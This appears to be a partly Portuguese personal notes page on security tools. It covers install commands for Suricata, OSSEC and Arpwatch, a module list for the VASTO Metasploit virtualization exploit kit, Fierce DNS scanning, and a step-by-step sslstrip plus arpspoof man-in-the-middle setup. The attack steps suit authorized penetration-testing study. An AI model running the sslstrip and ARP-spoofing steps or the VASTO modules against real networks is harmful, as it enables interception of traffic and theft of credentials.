SURICATA

"Suricata is a multi-threaded intrusion detection/prevention engine."

Build Requirements:
gcc
make
g++

Library Requirements:
libpcre
libnet 1.1.x
libyaml
libpcap
libnetfilter-queue and libfnetlink (optional for use with
./configure --enable-nfq)
libpthread  (should be part of most glibc's)
libpfring >= 4.0   (optional for use with ./configure --enable-pfring see INSTALL.PF_RING for install instructions)
libcap-ng (used for dropping privileges *linux only)
libz
htp

Installing:
wget http://www.openinfosecfoundation.org/download/suricata-1.2.1.tar.gztar -zxvf suricata-1.2.1.tar.gz
cd suricata-1.2.1/
cat doc/INSTALL | more
./configure
mkdir /var/log/suricata/
make
make install

Source:
https://redmine.openinfosecfoundation.org/projects/suricata

OSSEC

Maybe the best HIDS.

Installing:
wget http://www.ossec.net/files/ossec-hids-2.6.tar.gz
wget http://www.ossec.net/files/ossec-hids-2.6_checksum.txt
md5sum ossec-hids-2.6.tar.gz
sha1sum ossec-hids-2.6.tar.gz
tar -zxvf ossec-hids-2.6.tar.gz
cd ossec-hids-2.6/
cat INSTALL | more
cat install.sh | more
./install.sh
/var/ossec/bin/ossec-control start

Source:
http://www.ossec.net/main/about

VASTO - Virtualization ASsessment TOolkit

O VASTO é um conjunto de módulos para o Metasploit que tem por objetivo "testar" a segurança de ambientes virtualizados.

Baixe o VASTO:
wget http://vasto.nibblesec.org/VASTO.0.4.zip

Descompacte-o:
unzip VASTO.0.4.zip

Copie os módulos para seu diretório correspondente do Metasploit:
cp -r VERSION0.4/* metasploit-4.2.0/msf3/modules/auxiliary/

Veja as opções dos módulos e boa sorte.

- abiquo_guest_stealer.rb
Exploits a path traversal in Abiquo up to version 1.5

- abiquo_guest_stealer.rb
Exploits a path traversal in Abiquo up to version 1.5

- abiquo_poison.rb
Serves evil VM if a MITM is performed.

- eucalyptus_bouncer.rb
Turn Eucalyptus systems in proxy servers.

- eucalyptus_poison.rb
Serves evil VM if a MITM is performed.

- vmware_guest_stealer.rb
Exploits a path traversal in VMware products.

- vmware_login.rb
Brute forcing for VMware

- vmware_session_rider.rb
Local proxy to ride stolen SOAPID sessions with VI Client

- vmware_sfcbd_exec.rb
Command exec (authenticated) on Studio and Data Protection

- vmware_studio_upload.rb
Arbitrary file upload on Studio 2.0 beta

- vmware_updatemanager_traversal.rb
Jetty path traversal

- vmware_version.rb
Fingerprints VMware products

- vmware_vilurker.rb
MITM code execution against VI Client

- vmware_webaccess_portscan.rb
Turn VMware WebAccess into a portscanner (or a proxy)

- vmware_autopwn
Automatizes exploiting the updatemanager traversal to ride a session

- xen_login.rb
Brute forcer for XEN server


Fonte:
http://vasto.nibblesec.org/

Fierce Domain Scan

wget http://ha.ckers.org/fierce/fierce.pl
wget http://ha.ckers.org/fierce/hosts.txt
perl -MCPAN -e 'install Net::DNS'
perl -MCPAN -e 'install Net::hostent'
perl fierce.pl -dns exemplo.com hosts.txt

Fonte:
http://ha.ckers.org/fierce/

SQL Injection: Diferenciando os homens dos moleques !

Joe McCray
"The only black guy at security conferences"

Arpwatch

Observando um arpspoof em sua rede:

apt-get install arpwatch

arpwatch -i eth0

tail -f /var/log/syslog

Nov 10 22:29:48 rap arpwatch: changed ethernet address 172.16.0.102 00:a1:29:49:5b:92 (60:f4:59:27:9b:dc) eth0
Nov 10 22:29:48 rap arpwatch: changed ethernet address 172.16.0.102 00:a1:29:49:5b:92 (60:f4:59:27:9b:dc) eth0
Nov 10 22:29:48 rap arpwatch: reaper: pid 2827, exit status 1
Nov 10 22:29:48 rap arpwatch: reaper: pid 2828, exit status 1

SSLSTRIP

O SSLSTRIP é uma ferramenta capaz de capturar e "ler" todo o tráfego SSL que por ele passar...

Baixe:
wget www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Instale o Twisted Web:
apt-get install python-twisted-web

Descompacte:
tar -zxvf sslstrip-0.9.tar.gz

Ative o roteamento em seu equipamento:
echo "1" > /proc/sys/net/ipv4/ip_forward

Faça o redirecionamento da porta 80:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port

Execute o sslstrip:
sslstrip.py -l [suaporta]

Instale o ArpSpoof através do pacote dsniff:
apt-get install dsniff

Rode o arspoof para redirecionar o tráfego para seu equipamento:
arpspoof [-i interface] [-t target] host

Fonte:
http://www.thoughtcrime.org/software/sslstrip/